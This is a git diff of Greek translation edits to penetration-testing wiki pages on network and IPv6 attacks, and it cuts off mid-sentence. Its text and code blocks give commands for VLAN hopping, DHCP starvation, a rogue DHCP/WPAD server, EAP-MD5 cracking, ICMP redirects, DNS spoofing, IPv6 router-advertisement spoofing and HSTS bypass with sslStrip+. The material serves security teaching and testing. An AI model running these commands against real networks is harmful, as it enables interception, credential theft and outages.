packet @@ -448,9 +450,9 @@ sudo yersinia cdp -attack 0 #Send a CDP packet **VoIP Hopper** προσφέρει τρεις λειτουργίες για το Πρωτόκολλο Ανακάλυψης Cisco (CDP): -1. **Sniff Mode** (`-c 0`): Αναλύει τα πακέτα δικτύου για να προσδιορίσει το VLAN ID. -2. **Spoof Mode** (`-c 1`): Δημιουργεί προσαρμοσμένα πακέτα που μιμούνται αυτά μιας πραγματικής συσκευής VoIP. -3. **Spoof with Pre-made Packet Mode** (`-c 2`): Στέλνει πακέτα ταυτόσημα με αυτά ενός συγκεκριμένου μοντέλου τηλεφώνου Cisco IP. +1. **Λειτουργία Sniff** (`-c 0`): Αναλύει τα πακέτα δικτύου για να προσδιορίσει το VLAN ID. +2. **Λειτουργία Spoof** (`-c 1`): Δημιουργεί προσαρμοσμένα πακέτα που μιμούνται αυτά μιας πραγματικής συσκευής VoIP. +3. **Λειτουργία Spoof με Προκατασκευασμένο Πακέτο** (`-c 2`): Στέλνει πακέτα ταυτόσημα με αυτά ενός συγκεκριμένου μοντέλου τηλεφώνου Cisco IP. Η προτιμώμενη λειτουργία για ταχύτητα είναι η τρίτη. Απαιτεί τον καθορισμό: @@ -467,9 +469,9 @@ sudo yersinia cdp -attack 0 #Send a CDP packet ```bash voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2 ``` -### DHCP Επιθέσεις +### DHCP Attacks -#### Αρίθμηση +#### Enumeration ```bash nmap --script broadcast-dhcp-discover Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT @@ -492,7 +494,7 @@ Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds **Δύο τύποι DoS** μπορούν να εκτελούνται κατά των DHCP servers. Ο πρώτος περιλαμβάνει **την προσομοίωση αρκετών ψεύτικων hosts για να χρησιμοποιηθούν όλες οι δυνατές διευθύνσεις IP**.\ Αυτή η επίθεση θα λειτουργήσει μόνο αν μπορείτε να δείτε τις απαντήσεις του DHCP server και να ολοκληρώσετε το πρωτόκολλο (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). Για παράδειγμα, αυτό **δεν είναι δυνατό σε δίκτυα Wifi**. -Ένας άλλος τρόπος για να εκτελέσετε μια DHCP DoS είναι να στείλετε ένα **DHCP-RELEASE packet χρησιμοποιώντας ως πηγή κάθε δυνατή IP**. Τότε, ο server θα νομίζει ότι όλοι έχουν τελειώσει τη χρήση της IP. +Μια άλλη μέθοδος για να εκτελέσετε ένα DHCP DoS είναι να στείλετε ένα **DHCP-RELEASE packet χρησιμοποιώντας ως πηγή κάθε δυνατή IP**. Τότε, ο server θα νομίζει ότι όλοι έχουν τελειώσει τη χρήση της IP. ```bash yersinia dhcp -attack 1 yersinia dhcp -attack 3 #More parameters are needed @@ -503,7 +505,7 @@ yersinia dhcp -attack 3 #More parameters are needed #### Ορισμός κακόβουλων τιμών -Ένας κακόβουλος διακομιστής DHCP μπορεί να ρυθμιστεί χρησιμοποιώντας το σενάριο DHCP που βρίσκεται στο `/usr/share/responder/DHCP.py`. Αυτό είναι χρήσιμο για επιθέσεις δικτύου, όπως η καταγραφή HTTP κίνησης και διαπιστευτηρίων, ανακατευθύνοντας την κίνηση σε έναν κακόβουλο διακομιστή. Ωστόσο, η ρύθμιση ενός κακόβουλου πύλης είναι λιγότερο αποτελεσματική, καθώς επιτρέπει μόνο την καταγραφή της εξερχόμενης κίνησης από τον πελάτη, χάνοντας τις απαντήσεις από την πραγματική πύλη. Αντίθετα, συνιστάται η ρύθμιση ενός κακόβουλου διακομιστή DNS ή WPAD για μια πιο αποτελεσματική επίθεση. +Ένας κακόβουλος διακομιστής DHCP μπορεί να ρυθμιστεί χρησιμοποιώντας το σενάριο DHCP που βρίσκεται στο `/usr/share/responder/DHCP.py`. Αυτό είναι χρήσιμο για επιθέσεις δικτύου, όπως η καταγραφή της κίνησης HTTP και των διαπιστευτηρίων, ανακατευθύνοντας την κίνηση σε έναν κακόβουλο διακομιστή. Ωστόσο, η ρύθμιση ενός κακόβουλου πύλης είναι λιγότερο αποτελεσματική, καθώς επιτρέπει μόνο την καταγραφή της εξερχόμενης κίνησης από τον πελάτη, χάνοντας τις απαντήσεις από την πραγματική πύλη. Αντίθετα, συνιστάται η ρύθμιση ενός κακόβουλου διακομιστή DNS ή WPAD για μια πιο αποτελεσματική επίθεση. Παρακάτω είναι οι επιλογές εντολών για τη ρύθμιση του κακόβουλου διακομιστή DHCP: @@ -514,11 +516,11 @@ yersinia dhcp -attack 3 #More parameters are needed - **Διεύθυνση IP Δευτερεύοντος Διακομιστή DNS**: Προαιρετικά, χρησιμοποιήστε `-s 10.0.0.1` για να ορίσετε μια δευτερεύουσα διεύθυνση IP διακομιστή DNS. - **Μάσκα Δικτύου Τοπικού Δικτύου**: Χρησιμοποιήστε `-n 255.255.255.0` για να ορίσετε τη μάσκα για το τοπικό δίκτυο. - **Διεπαφή για Κίνηση DHCP**: Χρησιμοποιήστε `-I eth1` για να ακούσετε την κίνηση DHCP σε μια συγκεκριμένη διεπαφή δικτύου. -- **Διεύθυνση Ρύθμισης WPAD**: Χρησιμοποιήστε `-w “http://10.0.0.100/wpad.dat”` για να ορίσετε τη διεύθυνση για τη ρύθμιση WPAD, βοηθώντας στην παρεμπόδιση της κίνησης ιστού. +- **Διεύθυνση Ρύθμισης WPAD**: Χρησιμοποιήστε `-w “http://10.0.0.100/wpad.dat”` για να ορίσετε τη διεύθυνση για τη ρύθμιση WPAD, βοηθώντας στην παρεμβολή της κίνησης ιστού. - **Ψεύτικη Διεύθυνση IP Προεπιλεγμένης Πύλης**: Συμπεριλάβετε `-S` για να ψεύσετε τη διεύθυνση IP της προεπιλεγμένης πύλης. - **Απάντηση σε Όλες τις Αιτήσεις DHCP**: Συμπεριλάβετε `-R` για να κάνετε τον διακομιστή να απαντά σε όλες τις αιτήσεις DHCP, αλλά να είστε προσεκτικοί καθώς αυτό είναι θορυβώδες και μπορεί να ανιχνευθεί. -Χρησιμοποιώντας σωστά αυτές τις επιλογές, μπορεί να δημιουργηθεί ένας κακόβουλος διακομιστής DHCP για να παρεμποδίσει αποτελεσματικά την κίνηση δικτύου. +Χρησιμοποιώντας σωστά αυτές τις επιλογές, μπορεί να δημιουργηθεί ένας κακόβουλος διακομιστής DHCP για να παρεμβάλλει αποτελεσματικά την κίνηση δικτύου. ```python # Example to start a rogue DHCP server with specified options !python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R @@ -529,17 +531,17 @@ yersinia dhcp -attack 3 #More parameters are needed - Ενεργή βίαιη προσπάθεια αποκωδικοποίησης κωδικών πρόσβασης μέσω EAP - Επίθεση στον διακομιστή RADIUS με κακώς διαμορφωμένο περιεχόμενο EAP _\*\*_(exploits) -- Καταγραφή μηνυμάτων EAP και εκτός σύνδεσης αποκωδικοποίηση κωδικών πρόσβασης (EAP-MD5 και PEAP) +- Καταγραφή μηνυμάτων EAP και εκ των υστέρων αποκωδικοποίηση κωδικών πρόσβασης (EAP-MD5 και PEAP) - Ανάγκαστη πιστοποίηση EAP-MD5 για παράκαμψη της επικύρωσης πιστοποιητικού TLS - Εισαγωγή κακόβουλης δικτυακής κίνησης κατά την πιστοποίηση χρησιμοποιώντας ένα hub ή παρόμοιο -Εάν ο επιτιθέμενος βρίσκεται μεταξύ του θύματος και του διακομιστή πιστοποίησης, θα μπορούσε να προσπαθήσει να υποβαθμίσει (αν είναι απαραίτητο) το πρωτόκολλο πιστοποίησης σε EAP-MD5 και να καταγράψει την απόπειρα πιστοποίησης. Στη συνέχεια, θα μπορούσε να το αποκωδικοποιήσει βίαια χρησιμοποιώντας: +Εάν ο επιτιθέμενος είναι μεταξύ του θύματος και του διακομιστή πιστοποίησης, θα μπορούσε να προσπαθήσει να υποβαθμίσει (αν είναι απαραίτητο) το πρωτόκολλο πιστοποίησης σε EAP-MD5 και να καταγράψει την απόπειρα πιστοποίησης. Στη συνέχεια, θα μπορούσε να το αποκωδικοποιήσει βίαια χρησιμοποιώντας: ``` eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt ``` ### FHRP (GLBP & HSRP) Attacks -**FHRP** (Πρωτόκολλο Πρώτης Εναλλακτικής Διαδρομής) είναι μια κατηγορία πρωτοκόλλων δικτύου που έχει σχεδιαστεί για να **δημιουργεί ένα σύστημα δρομολόγησης με ζεστή εναλλακτική διαδρομή**. Με το FHRP, φυσικοί δρομολογητές μπορούν να συνδυαστούν σε μια ενιαία λογική συσκευή, η οποία αυξάνει την ανθεκτικότητα σε σφάλματα και βοηθά στη διανομή του φορτίου. +**FHRP** (Πρωτόκολλο Πρώτης Εναλλακτικής Διαδρομής) είναι μια κατηγορία πρωτοκόλλων δικτύου που έχει σχεδιαστεί για να **δημιουργήσει ένα σύστημα δρομολόγησης με ζεστή εναλλακτική διαδρομή**. Με το FHRP, φυσικοί δρομολογητές μπορούν να συνδυαστούν σε μια ενιαία λογική συσκευή, η οποία αυξάνει την ανθεκτικότητα σε σφάλματα και βοηθά στη διανομή του φορτίου. **Οι μηχανικοί της Cisco Systems έχουν αναπτύξει δύο πρωτόκολλα FHRP, GLBP και HSRP.** @@ -549,7 +551,7 @@ glbp-and-hsrp-attacks.md ### RIP -Τρεις εκδόσεις του Πρωτοκόλλου Πληροφοριών Δρομολόγησης (RIP) είναι γνωστό ότι υπάρχουν: RIP, RIPv2 και RIPng. Τα datagrams αποστέλλονται σε ομότιμους μέσω της θύρας 520 χρησιμοποιώντας UDP από το RIP και το RIPv2, ενώ τα datagrams μεταδίδονται στη θύρα UDP 521 μέσω IPv6 multicast από το RIPng. Η υποστήριξη για την αυθεντικοποίηση MD5 εισήχθη από το RIPv2. Από την άλλη πλευρά, η εγγενής αυθεντικοποίηση δεν περιλαμβάνεται στο RIPng; αντίθετα, βασίζεται σε προαιρετικά IPsec AH και ESP headers εντός του IPv6. +Τρεις εκδόσεις του Πρωτοκόλλου Πληροφοριών Δρομολόγησης (RIP) είναι γνωστό ότι υπάρχουν: RIP, RIPv2 και RIPng. Τα datagrams αποστέλλονται σε ομότιμους μέσω της θύρας 520 χρησιμοποιώντας UDP από το RIP και το RIPv2, ενώ τα datagrams μεταδίδονται στη θύρα UDP 521 μέσω IPv6 multicast από το RIPng. Η υποστήριξη για την αυθεντικοποίηση MD5 εισήχθη από το RIPv2. Από την άλλη πλευρά, η εγγενής αυθεντικοποίηση δεν ενσωματώνεται από το RIPng; αντίθετα, βασίζεται σε προαιρετικά IPsec AH και ESP headers εντός του IPv6. - **RIP και RIPv2:** Η επικοινωνία γίνεται μέσω UDP datagrams στη θύρα 520. - **RIPng:** Χρησιμοποιεί τη θύρα UDP 521 για τη μετάδοση datagrams μέσω IPv6 multicast. @@ -558,21 +560,21 @@ glbp-and-hsrp-attacks.md ### EIGRP Attacks -**EIGRP (Πρωτόκολλο Δρομολόγησης Εσωτερικής Πύλης Ενισχυμένο)** είναι ένα δυναμικό πρωτόκολλο δρομολόγησης. **Είναι ένα πρωτόκολλο απόστασης-διανύσματος.** Εάν δεν υπάρχει **αυθεντικοποίηση** και ρύθμιση παθητικών διεπαφών, ένας **εισβολέας** μπορεί να παρεμβαίνει στη δρομολόγηση EIGRP και να προκαλέσει **δηλητηρίαση πινάκων δρομολόγησης**. Επιπλέον, το δίκτυο EIGRP (με άλλα λόγια, το αυτόνομο σύστημα) **είναι επίπεδο και δεν έχει τμηματοποίηση σε ζώνες**. Εάν ένας **επιτιθέμενος εισάγει μια διαδρομή**, είναι πιθανό αυτή η διαδρομή να **διαδοθεί** σε όλο το αυτόνομο σύστημα EIGRP. +**EIGRP (Πρωτόκολλο Ενισχυμένης Εσωτερικής Πύλης)** είναι ένα δυναμικό πρωτόκολλο δρομολόγησης. **Είναι ένα πρωτόκολλο απόστασης-διανύσματος.** Εάν δεν υπάρχει **αυθεντικοποίηση** και ρύθμιση παθητικών διεπαφών, ένας **εισβολέας** μπορεί να παρεμβαίνει στη δρομολόγηση EIGRP και να προκαλέσει **δηλητηρίαση πινάκων δρομολόγησης**. Επιπλέον, το δίκτυο EIGRP (με άλλα λόγια, το αυτόνομο σύστημα) **είναι επίπεδο και δεν έχει τμηματοποίηση σε ζώνες**. Εάν ένας **επιτιθέμενος εισάγει μια διαδρομή**, είναι πιθανό αυτή η διαδρομή να **διαδοθεί** σε όλο το αυτόνομο σύστημα EIGRP. Για να επιτεθεί σε ένα σύστημα EIGRP απαιτείται **η δημιουργία γειτονιάς με έναν νόμιμο δρομολογητή EIGRP**, που ανοίγει πολλές δυνατότητες, από βασική αναγνώριση μέχρι διάφορες ενέσεις. -[**FRRouting**](https://frrouting.org/) σας επιτρέπει να υλοποιήσετε **έναν εικονικό δρομολογητή που υποστηρίζει BGP, OSPF, EIGRP, RIP και άλλα πρωτόκολλα.** Το μόνο που χρειάζεται να κάνετε είναι να το αναπτύξετε στο σύστημα του επιτιθέμενου και μπορείτε πραγματικά να προσποιηθείτε ότι είστε ένας νόμιμος δρομολογητής στον τομέα δρομολόγησης. +[**FRRouting**](https://frrouting.org/) σας επιτρέπει να υλοποιήσετε **έναν εικονικό δρομολογητή που υποστηρίζει BGP, OSPF, EIGRP, RIP και άλλα πρωτόκολλα.** Το μόνο που χρειάζεται να κάνετε είναι να το αναπτύξετε στο σύστημα του επιτιθέμενου και μπορείτε πραγματικά να προσποιηθείτε ότι είστε ένας νόμιμος δρομολογητής στο δίκτυο δρομολόγησης. {{#ref}} eigrp-attacks.md {{#endref}} -[**Coly**](https://code.google.com/p/coly/) έχει δυνατότητες για την παρεμβολή των εκπομπών EIGRP (Πρωτόκολλο Δρομολόγησης Εσωτερικής Πύλης Ενισχυμένο). Επιτρέπει επίσης την έγχυση πακέτων, τα οποία μπορούν να χρησιμοποιηθούν για την τροποποίηση των ρυθμίσεων δρομολόγησης. +[**Coly**](https://code.google.com/p/coly/) έχει δυνατότητες για την παρεμβολή των μεταδόσεων EIGRP (Πρωτόκολλο Ενισχυμένης Εσωτερικής Πύλης). Επιτρέπει επίσης την έγχυση πακέτων, τα οποία μπορούν να χρησιμοποιηθούν για την τροποποίηση των ρυθμίσεων δρομολόγησης. ### OSPF -Στο πρωτόκολλο Open Shortest Path First (OSPF) **η αυθεντικοποίηση MD5 χρησιμοποιείται συνήθως για να διασφαλίσει ασφαλή επικοινωνία μεταξύ των δρομολογητών**. Ωστόσο, αυτό το μέτρο ασφαλείας μπορεί να παραβιαστεί χρησιμοποιώντας εργαλεία όπως το Loki και το John the Ripper. Αυτά τα εργαλεία είναι ικανά να συλλαμβάνουν και να σπάζουν MD5 hashes, εκθέτοντας το κλειδί αυθεντικοποίησης. Μόλις αποκτηθεί αυτό το κλειδί, μπορεί να χρησιμοποιηθεί για την εισαγωγή νέων πληροφοριών δρομολόγησης. Για να ρυθμίσετε τις παραμέτρους διαδρομής και να καθορίσετε το παραβιασμένο κλειδί, χρησιμοποιούνται οι καρτέλες _Injection_ και _Connection_, αντίστοιχα. +Στο πρωτόκολλο Open Shortest Path First (OSPF) **η αυθεντικοποίηση MD5 χρησιμοποιείται συνήθως για να διασφαλίσει ασφαλή επικοινωνία μεταξύ των δρομολογητών**. Ωστόσο, αυτό το μέτρο ασφαλείας μπορεί να παραβιαστεί χρησιμοποιώντας εργαλεία όπως το Loki και το John the Ripper. Αυτά τα εργαλεία είναι ικανά να συλλάβουν και να σπάσουν τα MD5 hashes, εκθέτοντας το κλειδί αυθεντικοποίησης. Μόλις αποκτηθεί αυτό το κλειδί, μπορεί να χρησιμοποιηθεί για την εισαγωγή νέων πληροφοριών δρομολόγησης. Για να ρυθμίσετε τις παραμέτρους της διαδρομής και να καθορίσετε το παραβιασμένο κλειδί, χρησιμοποιούνται οι καρτέλες _Injection_ και _Connection_, αντίστοιχα. - **Σύλληψη και Σπάσιμο MD5 Hashes:** Εργαλεία όπως το Loki και το John the Ripper χρησιμοποιούνται για αυτό το σκοπό. - **Ρύθμιση Παραμέτρων Διαδρομής:** Αυτό γίνεται μέσω της καρτέλας _Injection_. @@ -608,14 +610,14 @@ hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw ```bash set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on ``` -**Ρύθμιση δικού σας DNS με το dnsmasq** +**Ρυθμίστε το δικό σας DNS με το dnsmasq** ```bash apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon dig @localhost domain.example.com # Test the configured DNS ``` ### Τοπικές Πύλες -Πολλές διαδρομές προς συστήματα και δίκτυα συχνά υπάρχουν. Αφού δημιουργήσετε μια λίστα με διευθύνσεις MAC εντός του τοπικού δικτύου, χρησιμοποιήστε το _gateway-finder.py_ για να εντοπίσετε τους κόμβους που υποστηρίζουν την προώθηση IPv4. +Πολλές διαδρομές προς συστήματα και δίκτυα συχνά υπάρχουν. Αφού δημιουργήσετε μια λίστα με διευθύνσεις MAC εντός του τοπικού δικτύου, χρησιμοποιήστε το _gateway-finder.py_ για να εντοπίσετε υπολογιστές που υποστηρίζουν την προώθηση IPv4. ``` root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git root@kali:~# cd gateway-finder/ @@ -646,9 +648,9 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder - Μέσω **DHCP**, όπου η ανακάλυψη διευκολύνεται με τη χρήση μιας ειδικής καταχώρησης κωδικού 252. - Από **DNS**, που περιλαμβάνει την αναζήτηση ενός ονόματος υπολογιστή με την ετικέτα _wpad_ εντός του τοπικού τομέα. -- Μέσω **Microsoft LLMNR και NBT-NS**, που είναι μηχανισμοί εναλλακτικής λύσης που χρησιμοποιούνται σε περιπτώσεις όπου οι αναζητήσεις DNS δεν επιτυγχάνουν. +- Μέσω **Microsoft LLMNR και NBT-NS**, που είναι μηχανισμοί εφεδρείας που χρησιμοποιούνται σε περιπτώσεις όπου οι αναζητήσεις DNS δεν επιτυγχάνουν. -Το εργαλείο Responder εκμεταλλεύεται αυτό το πρωτόκολλο ενεργώντας ως **κακόβουλος διακομιστής WPAD**. Χρησιμοποιεί DHCP, DNS, LLMNR και NBT-NS για να παραπλανήσει τους πελάτες να συνδεθούν σε αυτόν. Για να εμβαθύνετε στο πώς μπορούν να προσποιηθούν οι υπηρεσίες χρησιμοποιώντας το Responder [ελέγξτε αυτό](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). +Το εργαλείο Responder εκμεταλλεύεται αυτό το πρωτόκολλο ενεργώντας ως **κακόβουλος διακομιστής WPAD**. Χρησιμοποιεί DHCP, DNS, LLMNR και NBT-NS για να παραπλανήσει τους πελάτες να συνδεθούν σε αυτόν. Για να εμβαθύνετε στο πώς μπορούν να προσποιηθούν υπηρεσίες χρησιμοποιώντας το Responder [ελέγξτε αυτό](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). ### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md) @@ -663,7 +665,7 @@ sudo fake_advertise6 -r -w 2 eth0 #This option will send the Neigh ``` ### IPv6 Router Advertisement Spoofing/Flooding -Ορισμένα λειτουργικά συστήματα ρυθμίζουν από προεπιλογή την πύλη από τα πακέτα RA που αποστέλλονται στο δίκτυο. Για να δηλώσετε τον επιτιθέμενο ως IPv6 δρομολογητή, μπορείτε να χρησιμοποιήσετε: +Ορισμένα λειτουργικά συστήματα ρυθμίζουν από προεπιλογή την πύλη από τα πακέτα RA που αποστέλλονται στο δίκτυο. Για να δηλώσετε τον επιτιθέμενο ως IPv6 δρομολογητή μπορείτε να χρησιμοποιήσετε: ```bash sysctl -w net.ipv6.conf.all.forwarding=1 4 ip route add default via dev wlan0 @@ -695,12 +697,12 @@ iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT ``` More info [here](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf). -### sslStrip+ και dns2proxy για παράκαμψη HSTS +### sslStrip+ και dns2proxy για την παράκαμψη του HSTS -Η **διαφορά** μεταξύ **sslStrip+ και dns2proxy** σε σχέση με **sslStrip** είναι ότι θα **ανακατευθύνουν** για παράδειγμα _**www.facebook.com**_ **σε** _**wwww.facebook.com**_ (σημειώστε το **επιπλέον** "**w**") και θα ορίσουν τη **διεύθυνση αυτού του τομέα ως τη διεύθυνση IP του επιτιθέμενου**. Με αυτόν τον τρόπο, ο **πελάτης** θα **συνδεθεί** με _**wwww.facebook.com**_ **(τον επιτιθέμενο)** αλλά πίσω από τις σκηνές **sslstrip+** θα **διατηρεί** τη **πραγματική σύνδεση** μέσω https με **www.facebook.com**. +Η **διαφορά** μεταξύ **sslStrip+ και dns2proxy** σε σχέση με **sslStrip** είναι ότι θα **ανακατευθύνουν** για παράδειγμα το _**www.facebook.com**_ **σε** _**wwww.facebook.com**_ (σημειώστε το **επιπλέον** "**w**") και θα ορίσουν τη **διεύθυνση αυτού του τομέα ως τη διεύθυνση IP του επιτιθέμενου**. Με αυτόν τον τρόπο, ο **πελάτης** θα **συνδεθεί** στο _**wwww.facebook.com**_ **(τον επιτιθέμενο)** αλλά πίσω από τις σκηνές το **sslstrip+** θα **διατηρεί** τη **πραγματική σύνδεση** μέσω https με **www.facebook.com**. -Ο **στόχος** αυτής της τεχνικής είναι να **αποφευχθεί το HSTS** επειδή _**wwww**.facebook.com_ **δεν θα** αποθηκευτεί στην **κρυφή μνήμη** του προγράμματος περιήγησης, οπότε το πρόγραμμα περιήγησης θα παραπλανηθεί να εκτελέσει **την αυθεντικοποίηση του facebook σε HTTP**.\ -Σημειώστε ότι για να εκτελεστεί αυτή η επίθεση, το θύμα πρέπει αρχικά να προσπαθήσει να αποκτήσει πρόσβαση σε [http://www.faceook.com](http://www.faceook.com) και όχι σε https. Αυτό μπορεί να γίνει τροποποιώντας τους συνδέσμους μέσα σε μια σελίδα http. +Ο **στόχος** αυτής της τεχνικής είναι να **αποφευχθεί το HSTS** επειδή το _**wwww**.facebook.com_ **δεν θα** αποθηκευτεί στην **κρυφή μνήμη** του προγράμματος περιήγησης, οπότε το πρόγραμμα περιήγησης θα παραπλανηθεί να εκτελέσει **την αυθεντικοποίηση του facebook σε HTTP**.\ +Σημειώστε ότι για να εκτελεστεί αυτή η επίθεση, το θύμα πρέπει αρχικά να προσπαθήσει να αποκτήσει πρόσβαση στο [http://www.faceook.com](http://www.faceook.com) και όχι στο https. Αυτό μπορεί να γίνει τροποποιώντας τους συνδέσμους μέσα σε μια σελίδα http. More info [here](https://www.bettercap.org/legacy/#hsts-bypass), [here](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) and [here](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly). @@ -770,7 +772,7 @@ wifi.recon on; wifi.ap ### **ARP ανακάλυψη** -Τα πακέτα ARP χρησιμοποιούνται για να ανακαλύψουν ποιες IP χρησιμοποιούνται μέσα στο δίκτυο. Ο υπολογιστής πρέπει να στείλει ένα αίτημα για κάθε πιθανή διεύθυνση IP και μόνο οι χρησιμοποιούμενες θα απαντήσουν. +Τα πακέτα ARP χρησιμοποιούνται για να ανακαλύψουν ποιες IPs χρησιμοποιούνται μέσα στο δίκτυο. Ο υπολογιστής πρέπει να στείλει ένα αίτημα για κάθε πιθανή διεύθυνση IP και μόνο οι διευθύνσεις που χρησιμοποιούνται θα απαντήσουν. ### **mDNS (multicast DNS)** diff --git a/src/generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md b/src/generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md index 17352e2f1..045d3cd2b 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md +++ b/src/generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md @@ -38,7 +38,7 @@ ip neigh | grep ^fe80 # Alternatively, use alive6 for neighbor discovery alive6 eth0 ``` -IPv6 διευθύνσεις μπορούν να προκύψουν από τη διεύθυνση MAC μιας συσκευής για τοπική επικοινωνία. Ακολουθεί ένας απλός οδηγός για το πώς να προκύψει η Link-local IPv6 διεύθυνση από μια γνωστή διεύθυνση MAC, καθώς και μια σύντομη επισκόπηση των τύπων διευθύνσεων IPv6 και μεθόδων για την ανακάλυψη διευθύνσεων IPv6 εντός ενός δικτύου. +IPv6 διευθύνσεις μπορούν να προκύψουν από τη διεύθυνση MAC μιας συσκευής για τοπική επικοινωνία. Ακολουθεί ένας απλοποιημένος οδηγός για το πώς να προκύψει η Link-local IPv6 διεύθυνση από μια γνωστή διεύθυνση MAC, καθώς και μια σύντομη επισκόπηση των τύπων διευθύνσεων IPv6 και μεθόδων για την ανακάλυψη διευθύνσεων IPv6 εντός ενός δικτύου. ### **Προκύπτοντας Link-local IPv6 από Διεύθυνση MAC** @@ -51,16 +51,16 @@ IPv6 διευθύνσεις μπορούν να προκύψουν από τη ### **Τύποι Διευθύνσεων IPv6** - **Unique Local Address (ULA)**: Για τοπικές επικοινωνίες, δεν προορίζεται για δημόσια δρομολόγηση στο διαδίκτυο. Πρόθεμα: **`FEC00::/7`** -- **Multicast Address**: Για επικοινωνία one-to-many. Παράγεται σε όλα τα interfaces της ομάδας multicast. Πρόθεμα: **`FF00::/8`** -- **Anycast Address**: Για επικοινωνία one-to-nearest. Αποστέλλεται στο πλησιέστερο interface σύμφωνα με το πρωτόκολλο δρομολόγησης. Μέρος της παγκόσμιας unicast περιοχής **`2000::/3`**. +- **Multicast Address**: Για επικοινωνία ένα προς πολλούς. Παράγεται σε όλες τις διεπαφές της ομάδας multicast. Πρόθεμα: **`FF00::/8`** +- **Anycast Address**: Για επικοινωνία ένα προς τον πλησιέστερο. Αποστέλλεται στην πλησιέστερη διεπαφή σύμφωνα με το πρωτόκολλο δρομολόγησης. Μέρος της παγκόσμιας περιοχής unicast **`2000::/3`**. ### **Πρόθεμα Διευθύνσεων** - **fe80::/10**: Link-Local διευθύνσεις (παρόμοιες με 169.254.x.x) -- **fc00::/7**: Unique Local-Unicast (παρόμοιες με ιδιωτικές IPv4 περιοχές όπως 10.x.x.x, 172.16.x.x, 192.168.x.x) +- **fc00::/7**: Unique Local-Unicast (παρόμοιες με ιδιωτικές περιοχές IPv4 όπως 10.x.x.x, 172.16.x.x, 192.168.x.x) - **2000::/3**: Global Unicast -- **ff02::1**: Multicast All Nodes -- **ff02::2**: Multicast Router Nodes +- **ff02::1**: Multicast Όλων των Κόμβων +- **ff02::2**: Multicast Κόμβοι Δρομολογητών ### **Ανακαλύπτοντας Διευθύνσεις IPv6 εντός ενός Δικτύου** @@ -82,7 +82,7 @@ ip -6 neigh # Display the neighbor table Υπάρχουν αρκετές τεχνικές για την εκτέλεση επιθέσεων MitM σε δίκτυα IPv6, όπως: - Spoofing ICMPv6 neighbor ή router advertisements. -- Χρήση ICMPv6 redirect ή "Packet Too Big" μηνυμάτων για την παραποίηση δρομολόγησης. +- Χρήση ICMPv6 redirect ή μηνυμάτων "Packet Too Big" για την παραποίηση δρομολόγησης. - Επίθεση σε mobile IPv6 (συνήθως απαιτεί την απενεργοποίηση του IPSec). - Ρύθμιση ενός rogue DHCPv6 server. @@ -94,9 +94,9 @@ ip -6 neigh # Display the neighbor table ```bash site:ipv6./ ``` -### Χρήση Ερωτημάτων DNS +### Χρησιμοποιώντας Ερωτήσεις DNS -Για να εντοπιστούν διευθύνσεις IPv6, μπορούν να γίνουν ερωτήσεις σε ορισμένους τύπους εγγραφών DNS: +Για να εντοπιστούν οι διευθύνσεις IPv6, μπορούν να ερωτηθούν ορισμένοι τύποι εγγραφών DNS: - **AXFR**: Ζητά μια πλήρη μεταφορά ζώνης, αποκαλύπτοντας ενδεχομένως ένα ευρύ φάσμα εγγραφών DNS. - **AAAA**: Αναζητά άμεσα διευθύνσεις IPv6. @@ -108,7 +108,7 @@ site:ipv6./ ## Τεχνικές Επιθέσεων Τοπικού Δικτύου IPv6 -Οι παρακάτω ενότητες καλύπτουν πρακτικές επιθέσεις IPv6 επιπέδου 2 που μπορούν να εκτελούνται **μέσα στο ίδιο /64 τμήμα** χωρίς να γνωρίζετε κανένα παγκόσμιο πρόθεμα. Όλα τα πακέτα που εμφανίζονται παρακάτω είναι **link-local** και ταξιδεύουν μόνο μέσω του τοπικού διακόπτη, καθιστώντας τα εξαιρετικά αόρατα σε πολλές περιβάλλοντα. +Οι παρακάτω ενότητες καλύπτουν πρακτικές επιθέσεις IPv6 επιπέδου 2 που μπορούν να εκτελούνται **μέσα στο ίδιο τμήμα /64** χωρίς να γνωρίζετε κανένα παγκόσμιο πρόθεμα. Όλα τα πακέτα που εμφανίζονται παρακάτω είναι **link-local** και ταξιδεύουν μόνο μέσω του τοπικού διακόπτη, καθιστώντας τα εξαιρετικά αόρατα σε πολλές περιβάλλοντα. ### Ρύθμιση Συστήματος για Σταθερό Εργαστήριο @@ -199,7 +199,7 @@ sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0) ### Spoofing Διαφημίσεων Δρομολογητή (RA) -Οι IPv6 hosts βασίζονται σε **ICMPv6 Διαφημίσεις Δρομολογητή** για την ανακάλυψη της προεπιλεγμένης πύλης. Αν εισάγετε πλαστές RAs **συχνότερα** από τον νόμιμο δρομολογητή, οι συσκευές θα αλλάξουν σιωπηλά σε εσάς ως πύλη. +Οι IPv6 hosts 